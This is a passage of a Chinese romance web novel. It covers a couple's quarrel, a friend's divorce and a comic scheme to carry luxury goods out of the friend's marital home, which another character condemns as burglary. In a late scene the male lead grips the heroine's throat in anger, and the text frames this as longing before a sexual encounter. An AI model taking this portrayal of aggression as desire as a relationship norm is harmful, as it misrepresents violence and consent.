场面火药味十足,方楷莹低头看着脚尖,应付不来这种场面,绞尽脑汁想着劝解话术,“你们别因为这个吵架,我看过一个调查研究,二本和研究生就业率是差不多的,现在我们国内的流行趋势是考公” “闭嘴!”三个人同时凶她。 方教授被人熊了一通,又默不作声,心里只想离开这个是非之地,只是秦赫并不打算放过她,怒气冲冲地说:“方楷莹,这重新读博的主意是你出的吧?知道你风风光光回国当教授了,你显摆什么呀?如果没有甄世明,你——” 话没说完就被蓝梦的阴阳怪气打断:“秦赫儿,你怎么总针对方楷莹?咱两都要离婚了,你说句实话,你其实是对方楷莹有意思吧?” “你有病吧你!”秦赫情绪激昂地啐她:“你别在这儿挑拨我们哥们儿关系!嘿我说你丫是不是看甄世明也馋啊?” 蓝梦想了会儿,说:“那倒是。” 秦赫气得要掐人中,蓝梦还在嚣张跋扈,俩人吵成一锅粥,方楷莹懵懵地看着这混乱场面,只想拔腿就跑。 在她茫然无措之际,冰凉的手被人紧紧攥住,温暖的体温让她感受到安定,许久沉默的甄世明拽着她,头也不回地走了。 “哎,你们俩上哪儿去?!” “滚蛋!都给老子滚蛋!”甄世明骂道。 作者有话说:乱成一锅粥了,大家快喝了吧。[饭饭] 第42章 方楷莹被甄世明扯着胳膊一路拽上车, 车门关上,她依然没有从乱成一锅粥的场景中脱离出来。 从后视镜看去,甄世明倚在车旁, 唇边抿了根烟, 摸出打火机低头点着,火光映照挺立的眉骨, 英秀的脸深沉惆怅, 像是心里有气泄不出来似的。 几分钟后再上车,他身上带着淡淡的烟草味,脸色并没有好一些, 手搭方向盘却不启动车子。 方楷莹不禁要问:“你怎么了?” 甄世明看了她一会儿, 缓缓地说:“没怎么, 就是生气。” 方楷莹:“…你气性太大了吧。” “我这几年一直工作和带孩子,少有时间出去玩儿, 以前的酒肉朋友大多断联,朋友圈慢慢变小, 最常联系的就剩秦赫和蓝梦。” 甄世明忽然多愁善感, 眉眼之间尽显沉郁,神光淡淡敛回, 犹如深海平波。 “我看着他们在一起争吵和好, 有时候会想起你, 想起我们。后来他们能结婚我真心高兴,只是没想到今天这两人还是把婚姻看成儿戏, 我觉得生气, 觉得造化弄人,有些东西渴望的人得不到,得到的人不珍惜。” 方楷莹默默无语, 看着虚空处,似也惆怅,半天憋出一句:“你别生气了。” “复杂的心情你不懂,我知道。”甄世明揉乱她的头发,扯扯唇角笑了笑。 “我知道。”方楷莹低下头,吁出口气,说:“我知道你重视家人朋友,用心对待每一个你爱的人,虽然有的时候方式混蛋…我知道的。” 她怎么能不知道呢? 从他年轻时保护妹妹,如今养育孩子,为朋友婚姻劝和,甄世明的做法或许激烈,但他的心总是好意的,只是有的人看到善心,有的人否定做法。 年轻的方楷莹是后者。 甄世明怔了怔神,脸上的愁容转为细微的惊讶:“这种话我从没想过能从你嘴里说出来,你的病……好了?” 方楷莹摇摇头,又望向人来人往的民政局门口,神经夫妇还没出来。 她问:“我们下一步怎么办?要等他们吵完出来吗?” “甭管他们,爱死死爱活活。”甄世明眯起眼睛,又测试般地问她:“你觉得秦赫对你到底有没有意思?” 方楷莹受惊了一般撤身,头摇得像拨浪鼓,又反问他:“那你觉得蓝梦说的是真是假?” 甄世明笑着摇头,手掌压在她的发顶,捋顺被他刚揉乱的头发,重新启动车子,“咱走,不跟他们闹了,不管他们的事儿了,成吗?” 方楷莹点点头。 刚开出停车位,她的手机就响了。 车窗外蓝梦一个人孤零零地站在门口打电话,深冬的风将那波浪卷发吹起,她的动作依旧随性,姿态却不再雍容,眉头浅皱,手机夹在耳朵与肩膀之间,从名牌小包里取出皮筋,把今日没来得及精心打理的头发扎起。 “停下吧。”方楷莹说。 刚点过的头不作数了,她于心不忍,不能在好朋友需要依靠之时轻松走掉。 车子没有停在原地,甄世明单手转动方向盘把车开到台阶附近,停在蓝梦面前。 蓝梦看到方楷莹露出半个脑袋向她招手,眉间开始舒展,极浅的笑意在唇角延伸,看似一身轻松地跳上车,对方楷莹说:“我以为你不管我了。” 甄世明开车不说话,方楷莹问:“秦赫呢?” “昨晚我把跑车钥匙扔给他,他今天开那辆车来,又开那辆车走,没带我。”她满不在乎说道,表情却露出介怀。 “下一步打算怎么办?”方楷莹问。 “回去说吧。” 蓝梦用眼神示意方楷莹车上不方便说话,因为她对甄世明有戒备之心,寻思自己和秦赫离婚,就算上法庭,方楷莹也肯定是要判给她的,甄世明看样子想中立,但一定和秦赫关系更好。 甄世明一路什么都没说,也懒得再劝什么,直接把她们送到方楷莹的人才房,蓝梦下车前先揪了一下方楷莹的衣肩,她心领神会,说:“我陪她一会儿,你去接孩子吧。” “嗯。”甄世明淡淡应道。 蓝梦下车之前,特意拍了拍甄世明的肩膀:“我是为了气秦赫,我对你除了欣赏,没别的,你别多想。”又看向方楷莹,说:“你也别多想!” “嗯,知道。”甄世明说- 家门一开,方楷莹就后悔了。 这里仿佛打过一场热战,昨天的夫妻战斗在这里打响,啤酒瓶声叮当,衣架散落满地,电视缺了一角,沙发抱枕的枕芯都打出来,棉花在方楷莹眼前飞舞,她感觉有点儿眩晕。 蓝梦赶忙扶住她即将晕厥的身体,不好意思地说:“我会赔给你的。” “你肯定得赔我。”方楷莹说完飞奔到紧闭的儿童房门口,深深呼吸,闭眼推门。 还好还好。 他们还给这方天地留了一片净土。 她和蓝梦一起打扫“战场”,方楷莹提着扫帚问:“你接下来打算怎么办?” “我真打算重新申请博士,其实我一直在关注心选导师的研究方向,甄真教授最近的研究我很感兴趣,但又想继续以前的研究方向,准备先厚着脸皮给以前的导师打个电话,看人家还愿不愿意要我,当初人家有意向让我继续读博,但我心里只有秦赫。” 蓝梦把酒瓶都扔进垃圾桶里,叉腰歇会儿,说:“你看他平时一副‘有钱是爷’的样儿,但只要一提学历,那比在床上都敏感,我当时寻思要是再读博,他肯定就跟我掰了,现在我不争馒头争这口气,掰就掰!” 蓝梦不是唯唯诺诺的性格,在秦家长辈面前伪装温良淑女这段时间她也挺累。 实际上她热情奔放,一直秉持着敢爱敢恨,爱错就认的精神,之前每次恋爱都是速战,沦陷得快,抽身也快,就像现在她大喇喇坐在沙发,对方楷莹眨着昨夜哭肿的眼睛,说:“劳烦方教授给我写封推荐信?” 方楷莹:“行吗?” “行吗???”蓝梦说:“那太行了!你什么都不用管,在上面签个名字就行,方教授手上握那么多专利,谁不想和你搭上关系?到时候你推荐,博导收了我,全当送你人情。” “还能这样吗?”方楷莹不懂。 “这就叫人情世故,你推荐的人一定错不了。”蓝梦凑过来,撞撞她的肩膀,说:“平心而论,你觉得我差吗?” 差是不差的,当初读大学她们就一起参加创新比赛拿奖,蓝梦天资一般,但争强好胜,也努力过几年,手里有能拿得出的东西。 “我找个时间去和导师聊聊吧。”方楷莹答应她去问问甄真的想法,也想再去拜访。 刚回国时她曾拜访过一次,但当时和汪先生同行,很多话不方便说,她也能感觉到那次见面甄真只是客套几句祝福的话,并不由衷。 这次蓝梦一听她要亲自去帮自己拜访,心安定了一半,抱紧方楷莹大腿,撒娇腻着她,方楷莹不习惯,连连推拒。 蓝梦忽然指向她的脖颈,开玩笑地说:“那你记得见导师的时候把这吻痕遮一遮,甄世明怎么下嘴没轻没重的?” 方楷莹下意识捂住,解释道:“这不是你想的那样,我睡着了。” “睡着了呀?”蓝梦挑眉,脸上露出狡黠的笑意,“甄世明也太混蛋了,睡着了都不放过你?这几年憋得够呛吧!” 方楷莹一阵脸热,挥手打了她的肩膀,“说了不是你想的那样,你再这样我不帮你了。” “别呀,我不说了。”蓝梦揉着被打痛的肩膀,继续躺在方楷莹腿上计划:“我还得做好经济上的准备。我们结婚时间太短,秦家要想让我净身出户也简单,婚前协议我也签了不少” 方楷莹呆滞地听着,余光望见家里玻璃也裂开缝,默默心疼自己的房子,顺便算算蓝梦得赔她多少钱。 “刚才银行给我来短信,秦赫这个王八蛋把我副卡停了,动作真够快的,我也得做出行动,准备把秦赫送我那些首饰和包拿出来卖掉,但是那些东西都在婚房里……” 蓝梦见方楷莹走神,摇晃她的手臂。 “嗯?”她回过神。 “你和我去秦赫家里把那些东西偷出来!”蓝梦重复一遍,又纠正:“不对,是拿出来,那本来就是他送给我的东西!” 方楷莹怔忡,伸出手指指向自己,“我?” 蓝梦握住她的手,坚定地说:“是的,你!卖掉首饰和包包,不但能给你赔房子,也能维持一段时间生活,现在我还不敢把这事告诉家里,我爸承受能力太弱,听说我不到半年就离婚,非得心梗,现在我只能依靠你了!” 方楷莹抓着后颈支支吾吾,“虽然我很想支持你,但我们不能想一个体面点儿的办法吗?起码别违法吧。” 蓝梦却说:“当初我可是陪你闯过甄世明的科技公司,再说,我拿属于自己的东西,违什么法?!” 方楷莹:“……” 蓝梦见她犹豫,退一步说:“你什么都不用干,只帮我开车就行!” 方楷莹犹犹豫豫地答应下来- 那天晚上,方楷莹没接孩子,也没去山顶别墅,而是住在人才房里,和蓝梦密谋一晚。 第二天,她一直处于既恐慌又兴奋的状态中,这种感觉很长时间没出现在她生命里,也让她想起自己十七八岁时的样子,想起那时的甄世明。 但她不敢告诉甄世明,看文献时总是走神,给吴忧改论文也心不在焉,不停低头看表。 本来和蓝梦约好下午出发,中午甄世明给她发来信息,说自己要和秦赫谈一谈,让她去接孩子放学。 【一定要今天谈吗?我也有事】 六十秒语音信息回过来,甄世明颇为不耐地埋怨:“你有什么事?昨天没接就算了,晚上还夜不归宿,睡前孩子问我,我都没法回答,今天早晨没见你,芯芯都哭了,你想干什么呀?还要不要孩子了?巴拉巴拉” 方楷莹表示投降,答应去接。 提前把孩子从幼儿园里接出来,橙橙和芯芯仅一天没见妈妈就垂丧着脑袋,见到方楷莹又激动得要漏尿似的,狂奔在她怀里,小手藤蔓一般缠在她的腰上原地蹦跳,她一手抚一个小孩的脑瓜顶,心里那些恐慌与兴奋都平和下来。 一手拉着一个孩子上车,蓝梦打来电话,问她准备好出发了吗? “我” 芯芯在后排低声对车载电话问好,橙橙嗓子眼儿里似有喇叭,高声重复弟弟的话:“蓝梦阿姨好!” 蓝梦先是一愣,后把嗓子夹起说话:“宝贝儿们好,蓝梦阿姨可想你们了!”再和方楷莹说话就没那么柔软:“你别告诉我你要带着孩子来。” “你等我一会儿,我打算先把孩子送回山顶别墅,让保镖帮忙看着——” “不行!”橙橙急得扭屁股,腿弹着座椅一蹬一蹬,大声喊:“妈妈去哪儿我们去哪儿!” 方楷莹:“”- 她只好带着孩子去接蓝梦,然后再带着孩子一起出发。 蓝梦和秦赫的婚房位于市中心,是高端社区里的独栋别墅。 蓝梦坐在副驾驶,顺着车窗望见家里的小院儿,感慨本来还打算在春天来时种点儿花花草草,秦赫还说会给她弄个葡萄架和木秋千。 车停在隐蔽处,蓝梦戴上口罩压低帽檐,方楷莹怎么看她都像是偷东西的贼,心惊胆战地说:“你速战速决,我们在车上等你。” 蓝梦郑重点头,偷偷摸摸下车,方楷莹见她关门下车,轻轻平复呼吸,一看后视镜,呼出那口气仿佛被提到喉咙的心脏阻塞,人都要窒息。 橙橙和芯芯不知什么时候也下了车,跟在蓝梦身后,还猫着腰模仿。 赶忙熄火,她下车追上,一手拽住一个孩子的小胳膊往回拉,橙橙的脚后跟在地上沙沙地磨,懵懂天真地问她:“妈妈,我们不是要去蓝梦阿姨家做客吗?” 芯芯也不愿回车上,一边抗拒一边小声说:“秦赫叔叔家里总有好吃的饼干和巧克力,爸爸不让我们吃的蓝梦阿姨都会偷偷给我们吃。” 两个孩子闹着要去做客,蓝梦也正在半开的门前向她挥手,示意“快过来”。 方楷莹实在没招了,既不能把孩子留在车上又不能僵持在光天化日之下,从衣兜里掏出儿童口罩给孩子戴上,一大两小猫着腰鬼鬼祟祟进了秦赫的婚房。 “我怎么感觉我们还是做贼?” 蓝梦嘘了一声,把他们领到衣帽间里,巨大的房间琳琅满目,奢侈品品类齐全,衣服包包花花绿绿,把两个小孩都看呆了。 上了贼船的方楷莹只想拔腿就跑,两个天真小孩却趴在展示柜,满目都是那些闪耀的钻石。 蓝梦掏出准备好的折叠购物袋抖了抖,用胳膊把首饰展示柜里的珠宝项链都搂进购物袋,并指挥方楷莹拿包时记得装进原装盒,不然二奢卖不出好价。 方楷莹看着一整面墙的奢侈品包包,手足无措地问:“拿哪个包?” 蓝梦说:“都拿,先拿贵的。” 方楷莹犯难,她对奢侈品没有研究,知道这里的包包都贵,但不晓得哪个最贵,蓝梦嫌她磨叽,把爱马仕装进橘色盒子里,“先拿这个颜色。” 两个小孩上赶着帮忙,一个打包,一个搬运,尽自己所能帮助蓝梦阿姨“搬家”。 于是乎,第一批首饰包包运出时,橙橙和芯芯还以为是过家家游戏,一个个兴奋不已,哥俩比赛看谁先跑到车上。 “蓝梦阿姨,看我!我先到的!” “妈妈,是我先到的。” “嘘!”蓝梦伸出手指比在唇上,细声哄孩子说:“宝贝儿,咱们玩儿的是沉浸式搬家,不可以出声哦。” 芯芯更兴奋了,也用小手指比在噘起的嘴唇上,又无声地乖笑起来,红红的小脸苹果肌饱满圆润,气得方楷莹想在脸上啃一口。 来回几趟。 橙橙上窜下跳,登高爬梯,帮蓝梦阿姨拿上层的包包,找出他认为最好看的,先挂在脖子,再从梯子上爬下来,走到穿衣镜前反复照看。 蓝梦摸了摸他的后脑勺,蹲下和他一起照镜子,阔气地说:“喜欢这个小房子包包?阿姨送你了!” 橙橙这时倒有点儿羞涩,说:“谢谢蓝梦阿姨,但橙橙有小书包。我只是觉得这个包包,妈妈背的话一定很好看。” “那送给你妈妈。” 橙橙摘下套在脖子上的包,摇头说:“爸爸说不能随便要别人的东西,我会记住这个包包的样子,回去画下来,让爸爸买给妈妈。” 蓝梦听罢直夸他,又杵了杵方楷莹的胳膊,“你看,橙橙多乖呀,如果秦赫能像甄世明这样带孩子教孩子,我其实是不介意生的,可他一点儿都不成熟,突发奇想就要孩子,生孩子又不是买房买车,钱一付就享受。” 甄世明就成熟了吗? 有了孩子之后,他好像是比以前更成熟,但只要一跟她闹起来,就还是原来那幼稚样子。 橙橙在镜前反复欣赏时,方楷莹一直在边上看着,她可以帮忙搬东西,但要和孩子一起行动,孩子不动,她也不动,而蓝梦像个辛勤的小蚂蚁,一趟又一趟往出搬她的战利品。 蓝梦再一次出去时,秦赫回来了。 而方楷莹和俩孩子还在衣帽间。 方楷莹听到门响动声,探出头去看,蓝梦还在车后备箱里钻着,下一秒她就听见房内甄世明说话的声音,吓得方楷莹立刻把衣帽间的门阖上,人躲在里面不敢出去。 “她想读博,又不是想赌博。” 甄世明与秦赫一前一后进门,在客厅沙发坐下,秦赫拿出雪茄,甄世明摆手拒绝,“我一会儿要回家,孩子不爱闻这味儿。” 秦赫瞅他一眼,正要剪开自己抽,甄世明淡声说:“你也别抽。” 秦赫:“……我说你是站着说话不腰疼,当初方楷莹读博,你怎么不让她去?” “我跟你情况不一样,她怀孕了还要出国去读,我身上压着一摊子事,能出国吗?你别抬杠,我的难处你知道。” 方楷莹趴在门口听着,手心里早就出了汗,橙橙也趴在门上听了会儿,兴奋地扯住妈妈的衣摆,“我听到爸爸的声音啦,爸爸!” 这一嗓子让方楷莹心脏震颤,迅速捂住孩子的嘴,孩子贴着口罩呼吸,大眼睛困惑地眨来眨去。 “我们出来玩儿,爸爸不知道,我们不让他知道。”方楷莹把手指比在唇边,让两个孩子都悄声,自己也恨不得停止呼吸。 甄世明在秦赫的说话声中突然抬手,“我好像听见我儿子在说话。” 秦赫脸色一僵,“我可去你的吧,谁是你儿子?好好说着话呢,我没心情跟你逗闷子。” “不是,”甄世明眉头浅皱,“我真听见我儿子在呼唤我。” 秦赫白他一眼,说:“谁能想到咱们少爷现在被俩孩子拴得紧紧的,我有时候羡慕你,有时候又觉得你可怜,都出现幻听了。” “不是,真听到了。”甄世明心里担忧,人坐不住,站起身说:“我得给方楷莹打个电话,别是出了什么事儿。” 方楷莹把浑身上下摸了一遍,手忙脚乱掏出屁兜里的手机,赶在铃声响起的刹那按下静音。 呼,好险。 方楷莹额头都出汗了,缩着身子像极一只惊惶的母鼠,带着两只幼鼠贴在木门后偷听人类动静。 甄世明这一通电话没人接听,准备再拨一通,秦赫挑了一瓶好酒倒上,把酒杯递过去,说:“孩子跟着妈能出什么事儿,你别太担心了。” 甄世明没理他,继续拨打电话。 秦赫打开音响,放了一首抒情歌,歌声婉转动听,秦赫脸色却僵硬阴沉,自顾自喝了一杯红酒。 转头对甄世明说:“你还是担心担心我吧,我昨天半夜搜到蓝梦前男友的破歌,就现在这首,我听了一晚上,歌词写得真膈应人!什么‘我想依靠你的体温,我想触摸你的灵魂,我的怀抱似海,包容你全部波澜’,我呸!我看他浪得似海!你就说蓝梦,一H型平板身材!这孙子从哪儿看出的波澜?!” “问我干什么?我怎么知道!”甄世明瞪他一眼,心里焦急,懒得搭理,按着手机给方楷莹发去数条微信。 秦赫越说越来劲,气得要捏碎酒杯,破口大骂:“还依靠体温!还想触摸灵魂!谁的女人他也敢摸!我就操了!昨天我连夜买了几十万黑热搜,下一步我准备花几百万买那孙子的命!” 甄世明心思不在这儿,听着歌儿也觉得心烦,一边拧着眉给方楷莹打电话,一边微信询问保镖有没有在山顶别墅见到孩子。 音乐声徐徐结束,甄世明敏锐地听到木门合页响动的声音,从他身后发出,并不属于客厅音响。 他侧目,与方楷莹视线相撞。 第43章 方楷莹本来只是想探头观察, 却被一双深邃眼瞳捉住,甄世明双唇微张,不可思议地看着她。 方楷莹又以迅雷之速闪进衣帽间。 甄世明甚至怀疑自己眼花, 但身后那个房间的木门确实开了一道缝, 隐隐有灯光漏出。 他回过头,眼珠微动, 看向郁闷的秦赫, 说:“你把那首歌再放一下,我去个卫生间。” “你上厕所都得要伴奏啊?” “嗯,再放一遍。”甄世明点点头, 一句话说在秦赫心坎儿里:“这破歌一听就让人尿频。” 趁秦赫放歌倒酒的间隙, 甄世明拐进衣帽间, 他一开门先把容易暴露的水晶吊灯给关上,房间瞬时黯淡。 方楷莹带着孩子挤在衣柜和门的缝隙里, 呼吸都缓慢下来,刚想着他到底有没有看到自己, 就被人轻易捕捉到所在方位, 又被一把扯住脖颈拉到男人面前。 他的震惊与愠怒方楷莹逐渐看清。 “你怎么在这儿?!” “我” 橙橙扑过来抱住爸爸的腿,刚要开口喊爸爸, 就被甄世明单手拎起来, 抱在怀里迅速捂住口, 一声“爸爸”成了呜呜的闷声。 他低声斥问:“还带着孩子?!” “你小声点儿~” 方楷莹急得要捂他的嘴,他却抱着孩子躲开脸, 坐在换鞋凳上, 怀里抱着橙橙,一手揽住芯芯,玻璃柜的薄光落在他身上, 压低的眉峰如光刀雕刻,愠怒的神色不见温和。 “我来陪蓝梦拿东西”她莫名心虚。 甄世明视线淡扫,见她那额间的细汗,再看一片狼藉的现场,心里大概明白怎么回事儿,更生气了。 “你带着孩子来偷东西?” “是拿…” 方楷莹下意识反驳,芯芯则站在爸爸身边,低头看着脚尖,声音颤颤地说:“妈妈是带我们玩儿游戏。” 甄世明仰面深叹,来不及再发火,只能先想办法把这三个人弄出去,“一会儿别出声,我想办法带秦赫去二楼,你们从小门走,然后赶紧给我回家去!” “可是还没搬完”方楷莹说。 甄世明瞠目无语,从没见过如此大胆的窃贼,猛地站起身走到面前,戳了戳方楷莹灰头土脸的脑袋,狠声道:“要不要我帮你搬?然后我们双双入狱,橙橙和芯芯送去孤儿院?!” 方楷莹被戳得脑瓜晃荡摇摆,甄世明临走前还拧眉撂话:“等回家再跟你算账!” 甄世明关门走远,芯芯一脸无措地揪住妈妈的衣摆,小身子紧紧贴着,惊慌地问:“妈妈,我们是不是做错事了?” 方楷莹比手势让孩子静音,依然倔强地说:“我们这是乐于助人。”- 甄世明愁苦的脸色在返回客厅之时隐藏,坐在沙发上重新保持松弛的姿势,一边喝酒一边用余光观察秦赫,放下酒杯突然说:“刚才我好像在你家看见老鼠了。” “怎么可能?”秦赫不信。 “独栋别墅进老鼠不是很正常?” 秦赫犹疑,“你看清楚了吗?” “嗯,从我眼前窜过去的,”甄世明面不改色,淡声说:“一大两小,跑楼上去了。” 秦赫真信了,脸色一变,关掉破歌,拿起手机拨电话,“我得赶紧让物业来人,蓝梦最怕老鼠了。” 甄世明点点头,起身活动筋骨,讽刺道:“你不也怕么?胆子还没有橙橙大,你叫我声爸爸,我帮你把老鼠赶出去。” “去你大爷,谁说我怕了?” “那一起上去看看?” 秦赫犹豫半晌,眼睛一闭,“去就去,我先上去把书房门关好,别让老鼠把蓝梦的书给啃坏了。” 甄世明歪了歪头,意思“您走前边”,秦赫胆战心惊,扶着楼梯缓步前进。 甄世明跟在他身后上楼,路过衣帽间时食指中指交叠,看似随意悠然地轻叩一声。 方楷莹趴在门板听动静,听到甄世明故意加重的脚步声上了二楼,就打开衣帽间的门,拉紧孩子们的手飞快地跑了出去。 在甄世明眺望的眼光中,方楷莹被两个小孩拉着跑,三只小鸟呈“人”字阵型飞远,伸开的手臂像一对对翅膀,细长脖子还挂着香奈儿夏季限定迷你包。 甄世明:“……” 方楷莹跑到车前已经气喘吁吁,实际上距离不远,但始终紧张地憋着一口气,让她差点儿窒息。 现在脱离危险境地她才回想,那些惊险刺激的时刻甄世明总会出现,或者也可以说甄世明总是制造惊险刺激。 回想起他出现在衣帽间扣住她脖子的时刻,回想起年轻时他也总是这样,在破旧的楼道扣住后脖颈与她接吻,再看她鬼祟警惕的眼瞳发笑。 现在想起曾经不是个好时机,她觉得口干舌燥心也慌,蓝梦递过冰凉的矿泉水,她拧开瓶盖,就着冬日的冷空气大口喝下,最后觉得是因为压抑得太久,干一次坏事,就会特别兴奋。 蓝梦也三魂丢了七魄,抚着胸口喘大气,“吓死我了,我刚才还在整理后备箱的东西,突然就听见楼里有我前男友的歌声,你们要是再不出来,我就打算冲进去救你们了。” 方楷莹想起甄世明那副凶相,咽下口水,说:“如果我明天失联了你再想办法救我吧。”- 方楷莹把蓝梦送到二奢店,她看起来不是第一次卖包,和老板很相熟,她说以前谈恋爱时秦赫送的包不符合心意,都转手卖了,结婚后都是自己刷副卡买,就没再卖。 老板邀请方楷莹也留下聊聊天,方楷莹摆摆手,耿直又坦诚地说自己不是目标客户,拉着两个孩子回家去了。 晚上她给孩子做了芙蓉汤,孩子们折腾了一下午又饿又累,风卷残云后就洗澡躺在床上,芯芯都不磨着讲故事就睡着了,可甄世明迟迟未归。 芯芯虽然睡着,但小手还是扯住她的衣角,脑袋依恋地靠在妈妈怀里,方楷莹也懒得挪窝,和孩子依偎着睡了一小觉。 直到听见房门发出轻微的响动,方楷莹应激似的睁眼,今天净听这木门开合的响声了。 甄世明携着淡淡酒气回来,把孩子的卧室门轻轻打开,站在门口定了一会儿,又轻手轻脚走到早已熟睡的芯芯床边,在小孩额头亲了一下。 方楷莹已经醒了,但不敢睁眼,睫毛抖动着装睡,她能听到甄世明亲小孩额头的微小声响,也能感受到他的目光实质般压在她身上。 “我知道你没睡,出去聊。” 方楷莹喉头吞咽,缓缓睁开眼睛,与甄世明黑沉的眼瞳对视,沉甸甸的目光让她的心抖了一下。 等她不情不愿地走出房间,甄世明靠在门外墙壁,脖颈折下盯着一处虚空,不知道在想什么。 见她出来,一言不发往书房走。 那是离孩子卧室最远的房间。 他今晚确实喝了酒。 方楷莹下午逃走之后,甄世明就把秦赫带到衣帽间,在被“洗劫一空”的房间里和他坦白一切,说会赔。 秦赫倒是没表现出暴跳如雷,只是问他:“蓝梦是不是真的不回来了?” 于是两个失意的男人喝了一晚上酒,此时他眼皮叠粉,嘴唇嫣红,眼瞳却如墨黑。 方楷莹跟在他身后走进书房,早就做好心理建设,准备要接纳一场狂风暴雨,也决意不还嘴,不吵架,尽力维持和平。 甄世明的声音平缓低沉,像是暴雨来临前沉闷的乌云,他叫她方楷莹教授,问她:“今天出门之前有没有咨询律师?入室盗窃判几年?” 方楷莹本来没打算还嘴,但这定罪太重,她并不想认,“我和蓝梦是去拿回属于她的东西,不是入室盗窃。” 甄世明呵笑一声,抿住的双唇收敛失望,微垂的眼尾挑起锋芒,“那你躲什么?大大方方往出搬,为什么带着孩子躲?” “我只是怕他们吵架。”她低声说。 甄世明眉间浅皱,扯起唇角冷笑,此刻尚且能保持冷静平和:“怕吵架,不怕进监狱?你有没有想过,如果秦赫报警抓你呢?” 方楷莹茫然:“他真会抓我吗?” “你现在才想这个问题吗?!”甄世明暴怒,拳头砸在桌面,声若洪钟吼道:“我从小教孩子,别人的东西不许随便拿,你可倒好,直接带着去偷了!你不是教授吗?这么为人师表的?!我今天如果不出现在那,是不是就该出现在警察局捞你?!” 方楷莹的肩膀抖动一下,脸也冷下来,知道自己有做的不妥的地方,但听不得甄世明说“偷”。 “对不起,我不应该带着孩子去,给他们做了不好的示范,明天我会跟孩子解释清楚的。” “你什么意思?”甄世明腾的一下起身,椅子在地面划出刺耳声响,“不带孩子你就能去了是吗?你自己被抓起来就不用我捞你了吗?!” “我想帮蓝梦,她也曾经帮过我,”她偏移眼神,不愿和他对视,冷淡地说:“我自己的行为有什么代价自己承担。” 甄世明咬紧牙关,双手扶桌,看她的眼神恨不能把她咬死,“我中午给你发微信的时候你为什么不告诉我?觉得自己无所不能是吗?是!你上能钻研创新搞发明,下能翻墙越窗当窃贼,你不需要依靠任何人!做什么事不需要和任何人商量!” 他最恨方楷莹的独断,就像当年走的时候,她没给过沟通和挽留的机会,现在也只会说:“你有话好好说,别喊。” “你给我好好说的机会了吗?!”甄世明眼尾泛红,必须把前几年的事都翻出来,“你当年走时候有想过和我好好说吗?今年你回来之后有想过告诉我一声吗?!” “你能不能别提以前的事儿?有意思吗?”她也控制不住自己的情绪,不耐烦地抬高声音,“我们不是说好了为了孩子不吵了吗?我已经跟你道过歉了,你到底想怎样?” “凭什么不提?”甄世明走到她面前,一盏灯下的身影笼罩着她,英秀的面容有点儿扭曲,“你的眼里只有孩子吗?可我就站在你面前,就算生下两个孩子,你也从来没爱过我!我在你心里是可有可无的角色,所以你可以说走就走,随时就走,那你现在走啊!” 方楷莹觉得他简直无可救药,再谈下去也没有必要,转身要走却被甄世明紧紧扣住肩膀,他胸腔起伏着逼视,眼底涌起一层薄薄的泪。 “我要走,你放开我。”方楷莹平静地说。 “你觉得我会留你吗?”他的手指越扣越紧,让方楷莹感到疼痛,“你是不是觉得我还爱你所以有恃无恐?” “没觉得,”她浅浅皱眉,“我知道你恨我,如果你要重提当年,我只想问你一句,我怀孕的消息你早就知道,你、告诉我了吗?” 没有。 甄世明沉默。 “所以我知道你恨我,”她的眼里也有泪花,抿紧的唇缓缓松开,“我也恨你。” 她的手握住甄世明发力的腕骨,指甲扣入纹身之中,留下尖利的印记和疼痛的感觉,将他的手从肩膀甩开,以为狠话说尽,彼此都能冷静下来,但当她把书房的门打开,却又被头顶突然而来的力按住门板,将那道门重重磕上。 扳过她的身体,后背撞在门上,他的手掐住方楷莹的脖子,虎口抵住咽喉,滚烫的指尖触到颈侧的吻痕,他气息沉沉,眼底泛红,仿佛下一秒就要将细长的脖子掐断。 说不清是爱是恨, 她的心仿佛渴望这份危险。 病了、疯了、不正常了。 “怀孕的事我跟你道过歉了,”甄世明的声音和手一起颤抖着,“跪也跪了,耳光也打了,不够吗?” “今天我也跟你道歉了,”方楷莹眼角的泪要随时溢出,哽着嗓说:“要我给你跪吗?还是你也打我?” 她一副愿打愿杀悉听君便的样子。 当年就是这样,她侧过脸闭着眼,对他说:“你也可以打我。” 现在什么都变了,她的年龄长了,身份变了,唯一不变的是她那倔强伤人的性格底色。 甄世明的手逐渐往上,摸到细棱的下颌,薄情的嘴唇,用手指描摹这总是伤人的双唇,呼吸声渐渐重了,手上的力渐渐轻了,方楷莹的眼泪藏在长密的睫里,听他在耳边一字一句。 “我不想打你,我想操.你。” 第44章 方楷莹舌尖尝到一点点酒味, 整个人就醉了,任由他在唇内攫取香津。 甄世明没有一点儿温柔可言,将人抵在门上, 死死按住肩膀狂烈地吻下, 粗重的呼吸仿佛直接灌入她的心肺,让皮肤温软骨骼酥麻, 倔强的眼睛氤氲朦胧水汽, 柔软的舌尖顶他出去,双臂却抓住男人肩膀逐渐扣紧。 她不知道自己在干什么,只觉得心中极度的渴望把她变得不像自己, 甚至不像文明的人类。 甄世明更不是人, 抵在门上就开始动作, 在床上干的事非要在这儿做,扳过她的肩膀让她背对, 隔着睡衣就张嘴咬住肩后,一刹那咬痛她, 她缩着肩膀躲闪, 却被他的手紧紧贴住小腹向下,牢牢固住腰身。 “你怎么像狗一样?” “那你趴在这儿像什么?嗯?” 这种话只有甄世明会对她说。 外人眼里她是沉静冷漠的方教授, 所有人都敬重她, 绝不会对她说出轻浮浪荡的话, 但甄世明是个下流货色,淫.浪之徒, 无耻混蛋。 外人永远不会知道的是: 方楷莹喜欢这样。 他们一起不眠不休地探索过, 她在床上是什么样子,喜欢什么样子,甄世明了如指掌。 她脸颊发烫, 清晰听到解开皮带的声音,手贴在腹肌推拒,腹下蜿蜒的筋脉就在她的指尖。 “不行…” “不行?” 屋里蔓延水声,甄世明咬住她的耳垂,问:“我怎么觉得这个地方很欢迎?” “…没套不行。” 现在她在这方面很坚定。 甄世明的唇落在刚才咬过的肩后,一点点吮吻,贴着光裸的肌肤闷声:“用不着,结扎了。” “啊?啊!” 年轻时就在一起的人对彼此哪儿都熟悉了解,身体触碰到时轻易就认出对方是最契合的那个,她熟悉腹肌的触感,他熟悉温热的窄处,没忘了用哪种角度和力度能让她舒服。 就好像,一切都对了- 荒唐的一夜过后。 方楷莹在甄世明的臂弯里醒来,枕着他的手臂,睁眼便能看到手腕上的纹身,随着脉搏有力跳动。 她的指尖刚要触碰到血红色的纹身,就听见芯芯在走廊自言自语问“妈妈去哪儿了”,温柔平稳的心跳突然慌成急促的脚步声。 在孩子推开房门之时,方楷莹已经裹着小毯翻滚到床下躲起。 